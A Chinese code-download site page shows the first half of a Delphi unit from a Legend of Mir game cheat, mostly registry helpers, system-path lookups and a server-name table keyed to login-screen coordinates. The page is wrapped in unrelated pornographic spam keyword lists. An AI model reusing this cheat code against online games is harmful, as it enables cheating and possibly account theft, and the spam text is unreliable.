亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站！ | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? unit2.pas

?? 傳奇 外掛 原代碼,供感興趣的人研究. 傳奇終結者2.0
?? PAS
?? 第 1 頁 / 共 2 頁
字號: 
unit Unit2;

interface
Uses
Windows,SysUtils,Registry,classes;

procedure AddValue(Root:HKEY;StrPath:String;YN:Boolean;StrValue:String;Strdata:String;DataType:integer);
procedure DelValue(Root:HKEY;StrPath:String;StrValue:String);
procedure DelSub(Root:HKEY;StrPath:String;StrSub:String);
function ReadValue(Root:HKEY;StrPath:String;StrValue:String):String;
function ValueExists(Root:HKEY;StrPath:String;StrValue:String):Boolean;
function KeyExists(Root:HKEY;StrPath:String;StrSub:String):Boolean;
procedure GetValueName(Root:HKEY;StrPath:String;var SL:TStringList);
procedure GetKeyName(Root:HKEY;StrPath:String;var SL:TStringList);
procedure Delreject(Root:HKEY;StrPath:String;n:integer);
procedure Delrepeat(Root:HKEY;StrPath:String);
function myGetComputerName:String;
function GetWP:string;
function GetWSP:String;
function GetServerName(Logo:String;Y:integer):String;
function EncodeString(Decoded:string):String;
function EncodeBASE64(Encoded: TMemoryStream ; Decoded: TMemoryStream): Integer;
var
Reg:Tregistry;

implementation
uses Unit1;


procedure AddValue(Root:HKEY;StrPath:String;YN:Boolean;StrValue:String;StrData:String;DataType:integer);
Var I:Integer;
begin
Reg:=Tregistry.Create;
reg.RootKey:=Root;
if reg.OpenKey(Strpath,YN) then
Begin
case DataType of
1:reg.WriteString(StrValue,StrData);
3:reg.WriteInteger(StrValue,strtoint(StrData));
4:
begin
I:=strtoint(StrData);
reg.WriteBinaryData(StrValue,I,SizeOf(Integer));
end;
end;
end;
Reg.CloseKey;
Reg.Free;
end;


procedure DelValue(Root:HKEY;StrPath:String;StrValue:String);
begin
Reg:=Tregistry.Create;
Reg.RootKey:=Root;
if reg.OpenKey(StrPath,False) then reg.DeleteValue(StrValue);
Reg.CloseKey;
Reg.Free;
end;


function ReadValue(Root:HKEY;StrPath:String;StrValue:String):String;
var i:integer;
begin
Reg:=Tregistry.Create;
Reg.RootKey:=Root;
if reg.OpenKey(StrPath,False) and reg.ValueExists(StrValue) then
begin
case reg.GetDataType(StrValue) of
rdString:ReadValue:=reg.ReadString(StrValue);
rdInteger:ReadValue:=inttostr(reg.ReadInteger(StrValue));
rdBinary:
begin
reg.ReadBinaryData(StrValue,I,sizeof(i));
ReadValue:=inttostr(i);
end;
end;
end;
Reg.CloseKey;
Reg.Free;
end;


function ValueExists(Root:HKEY;StrPath:String;StrValue:String):Boolean;
begin
reg:=Tregistry.Create;
reg.RootKey:=Root;
if (reg.OpenKey(StrPath,False)) and (reg.ValueExists(StrValue)) then
Result:=True
else
Result:=False;
reg.CloseKey;
reg.Free;
end;


function KeyExists(Root:HKEY;StrPath:String;StrSub:String):Boolean;
begin
reg:=Tregistry.Create;
reg.RootKey:=Root;
if (reg.OpenKey(StrPath,False)) and (reg.KeyExists(StrSub)) then
Result:=True
else
Result:=False;
reg.CloseKey;
reg.Free
end;


procedure DelSub(Root:HKEY;StrPath:String;StrSub:String);
begin
reg:=Tregistry.Create;
reg.RootKey:=Root;
if reg.OpenKey(StrPath,False) then reg.DeleteKey(StrSub);
reg.CloseKey;
reg.Free;
end;


procedure GetValueName(Root:HKEY;StrPath:String;var SL:TStringList);
begin
reg:=Tregistry.Create;
reg.RootKey:=Root;
if reg.OpenKey(StrPath,False) then reg.GetValueNames(SL);
reg.CloseKey;
reg.Free;
end;


procedure GetKeyName(Root:HKEY;StrPath:String;var SL:TStringList);
begin
reg:=Tregistry.Create;
reg.RootKey:=Root;
if reg.OpenKey(StrPath,False) then Reg.GetKeyNames(SL);
Reg.CloseKey;
reg.Free;
end;


procedure Delreject(Root:HKEY;StrPath:String;n:integer);
var Temp,Sub:TStringList;
    i,t:integer;
begin
 Temp:=TStringList.Create;
 Sub:=TStringList.Create;
 Getkeyname(Root,StrPath,Sub);
 if Sub.Count<>0 then begin
   for i:=0 to sub.Count-1 do begin

    if readvalue(Root,StrPath+'\'+Sub[i],'區域')='abcdefghijklmnopqrstuvwxyz1234567890' then delvalue(Root,StrPath+'\'+Sub[i],'區域');
    getvaluename(Root,StrPath+'\'+Sub[i],Temp);
    for t:=0 to Temp.Count-1 do begin
     if readvalue(Root,StrPath+'\'+Sub[i],Temp[t])='' then Delvalue(Root,StrPath+'\'+Sub[i],Temp[t]);
    end;

    Temp.Clear;
    getvaluename(Root,StrPath+'\'+Sub[i],Temp);
    if Temp.Count<n then Delsub(Root,StrPath,Sub[i]);
    Temp.Clear;
   end;
 end;
 Temp.Free;
 Sub.Free;
End;


procedure Delrepeat(Root:HKEY;StrPath:String);
var Temp,Sub,Bj1,Bj2:TStringList;
    i,j,t:integer;
begin
 Temp:=TStringList.Create;
 Sub:=TStringList.Create;
 Bj1:=TStringList.Create;
 Bj2:=TStringList.Create;

 Getkeyname(Root,StrPath,Sub);
 if sub.Count>=2 then begin
   for i:=0 to sub.Count-2 do begin
    getvaluename(Root,StrPath+'\'+sub[i],Temp);
    for t:=0 to Temp.Count-1 do begin
     Bj1.Add(ReadValue(Root,StrPath+'\'+sub[i],Temp[t]));
    end;
    Temp.Clear;
    for j:=i+1 to sub.Count-1 do begin
     getvaluename(Root,StrPath+'\'+sub[j],Temp);
     for t:=0 to Temp.Count-1 do begin
      Bj2.Add(ReadValue(Root,StrPath+'\'+sub[j],Temp[t]));
     end;
     if Bj1.Text=Bj2.Text then Delsub(Root,StrPath,sub[j]);
     Temp.Clear;
     bj2.Clear;
    end;
    bj1.Clear;
   end;
 end;
Temp.Free;Sub.Free;bj1.Free;bj2.Free;
End;


function myGetComputerName:String;
var pcComputer:PChar;
    dwCSize:DWORD;
begin
 dwCSize:=MAX_COMPUTERNAME_LENGTH+1;
 GetMem(pcComputer,dwCSize);
 try
  if GetComputerName(pcComputer,dwCSize) then Result:=pcComputer;
 finally
  FreeMem(pcComputer);
 end;
end;


function GetWP:string;
var Buf:array[0..MAX_PATH] of char;
begin
GetWindowsDirectory(Buf,MAX_PATH);
Result:=Buf;
if Result[Length(Result)]<>'\' then Result:=Result+'\';
end;


function GetWSP:String;
var Buf:array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf,MAX_PATH);
Result:=Buf;
if Result[Length(Result)]<>'\' then Result:=Result+'\';
end;



function GetServerName(Logo:String;Y:integer):String;
begin
if (Logo='傳 奇 一 區') or (Logo='傳奇九區(一區轉檔)') then begin
 if (y>141) and (y<183) then result:='雷霆(上海)' else
 if (y>183) and (y<225) then result:='光芒(上海)' else
 if (y>225) and (y<267) then result:='烈焰(上海)' else
 if (y>267) and (y<309) then result:='疾風(北京)' else
 if (y>309) and (y<351) then result:='新浪(北京)' else
 if (y>351) and (y<393) then result:='流云(廣州)' else
 if (y>393) and (y<435) then result:='聯通(南京)' else
 if (y>435) and (y<477) then result:='蜀山(成都)' else result:='未知';
end
else
if (Logo='傳 奇 二 區') or (Logo='傳奇十區(二區轉檔)') then begin
 if (y>141) and (y<183) then result:='雷霆(上海)' else
 if (y>183) and (y<225) then result:='光芒(上海)' else
 if (y>225) and (y<267) then result:='烈焰(上海)' else
 if (y>267) and (y<309) then result:='雷霆二(上海)' else
 if (y>309) and (y<351) then result:='渝州(重慶)' else
 if (y>351) and (y<393) then result:='峨嵋(成都)' else
 if (y>393) and (y<435) then result:='海鼎(新浪)' else
 if (y>435) and (y<477) then result:='網通(上海)' else result:='未知';
end
else
if (Logo='傳 奇 三 區') or (Logo='傳奇八區(三區轉檔)') or (Logo='英雄之門(三區轉檔)') then begin
 if (y>141) and (y<183) then result:='飛鴻(廣東)' else
 if (y>183) and (y<225) then result:='新月(流云)' else
 if (y>225) and (y<267) then result:='雄獅(新浪)' else
 if (y>267) and (y<309) then result:='天府(成都)' else
 if (y>309) and (y<351) then result:='天堂(杭州)' else
 if (y>351) and (y<393) then result:='雷霆二(上海)' else
 if (y>393) and (y<435) then result:='光芒二(上海)' else
 if (y>435) and (y<477) then result:='烈焰二(上海)' else result:='未知';
end
else
if (Logo='天空·傳奇(四區)') or (Logo='王者大陸(四區轉檔)') then begin
 if (y>141) and (y<183) then result:='歸谷(上海)' else
 if (y>183) and (y<225) then result:='天涯(上海)' else
 if (y>225) and (y<267) then result:='清風(上海)' else
 if (y>267) and (y<309) then result:='落霞(上海)' else
 if (y>309) and (y<351) then result:='歸谷二(上海)' else
 if (y>351) and (y<393) then result:='天涯二(上海)' else
 if (y>393) and (y<435) then result:='清風二(上海)' else
 if (y>435) and (y<477) then result:='落霞二(上海)' else result:='未知';
end
else
if (Logo='傳 奇 五 區') or (Logo='傳奇四十區(五區轉檔)') then begin
 if (y>141) and (y<183) then result:='浩然(上海)' else
 if (y>183) and (y<225) then result:='天地(上海)' else
 if (y>225) and (y<267) then result:='正氣(上海)' else
 if (y>267) and (y<309) then result:='長存(上海)' else
 if (y>309) and (y<351) then result:='浩然二(上海)' else
 if (y>351) and (y<393) then result:='天地二(上海)' else
 if (y>393) and (y<435) then result:='正氣二(上海)' else
 if (y>435) and (y<477) then result:='長存二(上海)' else result:='未知';
end
else
if Logo='傳 奇 六 區' then begin
 if (y>141) and (y<183) then result:='三峽(聯通)' else
 if (y>183) and (y<225) then result:='青城(成都)' else
 if (y>225) and (y<267) then result:='滇池(昆明)' else
 if (y>267) and (y<309) then result:='長白(東北)' else
 if (y>309) and (y<351) then result:='三峽二(聯通)' else
 if (y>351) and (y<393) then result:='青城二(成都)' else
 if (y>393) and (y<435) then result:='滇池二(昆明)' else
 if (y>435) and (y<477) then result:='長白二(東北)' else result:='未知';
end
else
if Logo='傳 奇 七 區' then begin
 if (y>141) and (y<183) then result:='奇跡(上海)' else
 if (y>183) and (y<225) then result:='長寬(武漢)' else
 if (y>225) and (y<267) then result:='流星(上海)' else
 if (y>267) and (y<309) then result:='皓月(上海)' else
 if (y>309) and (y<351) then result:='奇跡二(上海)' else
 if (y>351) and (y<393) then result:='皓月二(上海)' else
 if (y>393) and (y<435) then result:='長寬二(上海)' else
 if (y>435) and (y<477) then result:='流星二(上海)' else result:='未知';
end
else
if Logo='經典之國(11區)' then begin
 if (y>141) and (y<183) then result:='西游(上海)' else
 if (y>183) and (y<225) then result:='三國(上海)' else
 if (y>225) and (y<267) then result:='水滸(上海)' else
 if (y>267) and (y<309) then result:='紅樓(上海)' else
 if (y>309) and (y<351) then result:='封神(上海)' else
 if (y>351) and (y<393) then result:='聊齋(上海)' else
 if (y>393) and (y<435) then result:='春秋(上海)' else
 if (y>435) and (y<477) then result:='戰國(上海)' else result:='未知';
end
else
if Logo='西部圣域(12區)' then begin
 if (y>141) and (y<183) then result:='華山(敦煌轉檔)' else
 if (y>183) and (y<225) then result:='雪域(九寨轉檔)' else
 if (y>225) and (y<267) then result:='敦煌(天府)' else
 if (y>267) and (y<309) then result:='九寨(天府)' else
 if (y>309) and (y<351) then result:='天山(天府)' else
 if (y>351) and (y<393) then result:='版納(天府)' else
 if (y>393) and (y<435) then result:='劍門(天府)' else
 if (y>435) and (y<477) then result:='嘉峪(天府)' else result:='未知';
end
else
if Logo='移動天下(15區)' then begin
 if (y>246) and (y<288) then result:='華夏(移動)' else
 if (y>288) and (y<330) then result:='神州(移動)' else
 if (y>330) and (y<372) then result:='四海(移動)' else result:='未知';
end
else
if Logo='俠骨丹心(16區)' then begin
 if (y>267) and (y<309) then result:='楚天(聯通)' else
 if (y>309) and (y<351) then result:='秦嶺(聯通)' else result:='未知';
end
else
if Logo='風云專區(17區)' then begin
 if (y>225) and (y<267) then result:='奔騰(光通)' else
 if (y>267) and (y<309) then result:='海清(光通)' else
 if (y>309) and (y<351) then result:='天河(NEW!光通)' else
 if (y>351) and (y<393) then result:='白云山(NEW!光通)' else result:='未知';
end
else
if Logo='赤月·廣電星空(18區)' then begin
 if (y>225) and (y<267) then result:='辟地(新版)' else
 if (y>267) and (y<309) then result:='開天(新版)' else
 if (y>309) and (y<351) then result:='霸業(新版)' else
 if (y>351) and (y<393) then result:='輝煌(新版)' else result:='未知';
end
else
if Logo='西部圣域II(19區)' then begin
 if (y>225) and (y<267) then result:='昆侖(天府)' else
 if (y>267) and (y<309) then result:='龍門(天府)' else
 if (y>309) and (y<351) then result:='蒼山(天府)' else
 if (y>351) and (y<393) then result:='古城(天府)' else result:='未知';
end
else
if Logo='光明世界(20區)' then begin
 if (y>225) and (y<267) then result:='晴空' else

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲国产欧美日韩另类综合| 成人中文字幕合集| 国产精品456| 欧美日韩国产色站一区二区三区| 国产欧美一区二区三区网站| 五月天一区二区三区| 波波电影院一区二区三区| 欧美一区二区人人喊爽| 一区二区三区四区五区视频在线观看| 国产精品一二三在| 日韩精品在线一区| 偷窥国产亚洲免费视频| 在线视频亚洲一区| 国产精品女同一区二区三区| 精品一二三四区| 欧美一区二区三区公司| 亚洲成a人v欧美综合天堂| 色欧美日韩亚洲| 自拍偷在线精品自拍偷无码专区 | 亚洲国产精品成人综合| 石原莉奈在线亚洲二区| 欧美在线视频你懂得| 国产精品的网站| 国产91富婆露脸刺激对白| 久久亚洲综合av| 久久成人麻豆午夜电影| 精品999在线播放| 老司机精品视频在线| 日韩欧美视频在线| 图片区日韩欧美亚洲| 欧美日本韩国一区二区三区视频 | 亚洲自拍偷拍图区| 91成人免费电影| 亚洲午夜免费视频| 欧美熟乱第一页| 日韩综合一区二区| 91精品国产麻豆| 精品无人码麻豆乱码1区2区| 久久久久久久久久久久久女国产乱 | 亚洲免费色视频| 91国偷自产一区二区使用方法| 亚洲视频在线一区二区| 91在线高清观看| 午夜视频在线观看一区二区| 欧美一区二区视频免费观看| 日本不卡一区二区三区高清视频| 日韩视频免费观看高清完整版 | 欧美一级黄色大片| 国产在线视频不卡二| 欧美国产一区二区在线观看| caoporn国产精品| 亚洲永久免费av| 欧美va在线播放| 国产99久久久精品| 亚洲成年人网站在线观看| 日韩视频免费观看高清完整版| 国产一区二区三区国产| 亚洲啪啪综合av一区二区三区| 欧美日韩一级视频| 狠狠色狠狠色综合| 亚洲欧美成aⅴ人在线观看| 欧美乱妇一区二区三区不卡视频| 九九精品一区二区| 亚洲蜜臀av乱码久久精品| 制服丝袜一区二区三区| 国产成人免费网站| 亚洲午夜久久久久中文字幕久| 精品久久免费看| 在线观看亚洲a| 国产精品综合一区二区三区| 亚洲精品国产无天堂网2021| 亚洲精品一区二区三区99| 在线视频国内一区二区| 麻豆成人91精品二区三区| 一区在线观看视频| 精品久久99ma| 欧美日韩一区二区在线视频| 国产东北露脸精品视频| 亚洲1区2区3区4区| 中文字幕在线视频一区| 精品少妇一区二区三区视频免付费 | www.亚洲国产| 久久99精品久久久久| 亚洲另类一区二区| 国产欧美日韩精品一区| 在线综合+亚洲+欧美中文字幕| 成人黄色网址在线观看| 日本不卡的三区四区五区| 亚洲女同ⅹxx女同tv| 国产欧美日韩亚州综合 | 亚洲成国产人片在线观看| 国产午夜精品理论片a级大结局| 欧美精品在线观看一区二区| 97久久超碰国产精品电影| 国产老妇另类xxxxx| 免费日本视频一区| 天堂在线一区二区| 亚洲国产精品影院| 亚洲自拍偷拍综合| 一区二区三区免费观看| 国产精品久久久久久久久免费樱桃| 日韩精品一区二| 欧美一级二级三级蜜桃| 欧美精品色综合| 欧美日韩在线一区二区| 色呦呦日韩精品| 色综合久久久久综合99| 岛国精品在线播放| 国产成人日日夜夜| 成人美女视频在线观看18| 国产成人在线看| 波多野结衣在线一区| 不卡的电视剧免费网站有什么| 国产不卡免费视频| 成人在线综合网| 99热这里都是精品| 色综合天天性综合| 一本色道久久综合亚洲91| 99久久99精品久久久久久| 99国内精品久久| 91久久精品一区二区三| 欧美日韩一区成人| 在线综合视频播放| 久久日韩粉嫩一区二区三区| 欧美精品一区二区在线观看| 欧美国产一区二区| 亚洲色图另类专区| 五月婷婷激情综合| 精品一区二区三区蜜桃| 国产高清精品网站| 色综合天天做天天爱| 欧美色图片你懂的| 日韩午夜在线观看| 国产日韩欧美制服另类| 最新日韩在线视频| 午夜视黄欧洲亚洲| 麻豆91在线看| 91视频免费观看| 在线播放/欧美激情| 久久久久97国产精华液好用吗| 国产日韩av一区| 一区二区三区在线免费| 日本欧美肥老太交大片| 国产福利一区二区三区视频在线| 色综合咪咪久久| 欧美一区二区在线观看| 欧美极品少妇xxxxⅹ高跟鞋| 亚洲国产精品一区二区www在线| 久久精品国产第一区二区三区| 福利一区在线观看| 9191久久久久久久久久久| 久久久国产一区二区三区四区小说 | 久久精品一区二区三区不卡牛牛| 国产精品理论片| 日本中文字幕不卡| 99久久免费国产| 日韩一区二区在线观看| 日韩一区欧美小说| 蜜桃视频在线观看一区| 91在线一区二区三区| 日韩亚洲电影在线| 亚洲一二三四区| 国产成人99久久亚洲综合精品| 欧美日韩精品一区二区| 国产精品久久久久久久蜜臀| 天天av天天翘天天综合网| jizzjizzjizz欧美| 欧美精品一区二区不卡| 亚洲高清视频的网址| 99这里只有精品| 日韩久久一区二区| 看国产成人h片视频| 欧美在线视频不卡| 亚洲特级片在线| 国产精品一二三| 日韩欧美成人激情| 日韩在线a电影| 欧美在线免费观看亚洲| 国产精品成人网| 国产一区二区伦理| 欧美videossexotv100| 舔着乳尖日韩一区| 欧美日韩一区二区不卡| 一区二区三区日韩欧美精品| av一区二区久久| 国产精品久久久久久福利一牛影视| 韩国av一区二区| 日韩精品一区二区在线| 婷婷国产在线综合| 欧美日韩综合色| 亚洲成在人线免费| 欧美日韩一区小说| 亚洲国产精品久久艾草纯爱| 欧美色倩网站大全免费| 一区二区三区在线观看视频| 色偷偷久久一区二区三区| 亚洲美女少妇撒尿| 欧美亚洲综合久久| 五月天亚洲婷婷| 91精品国产黑色紧身裤美女|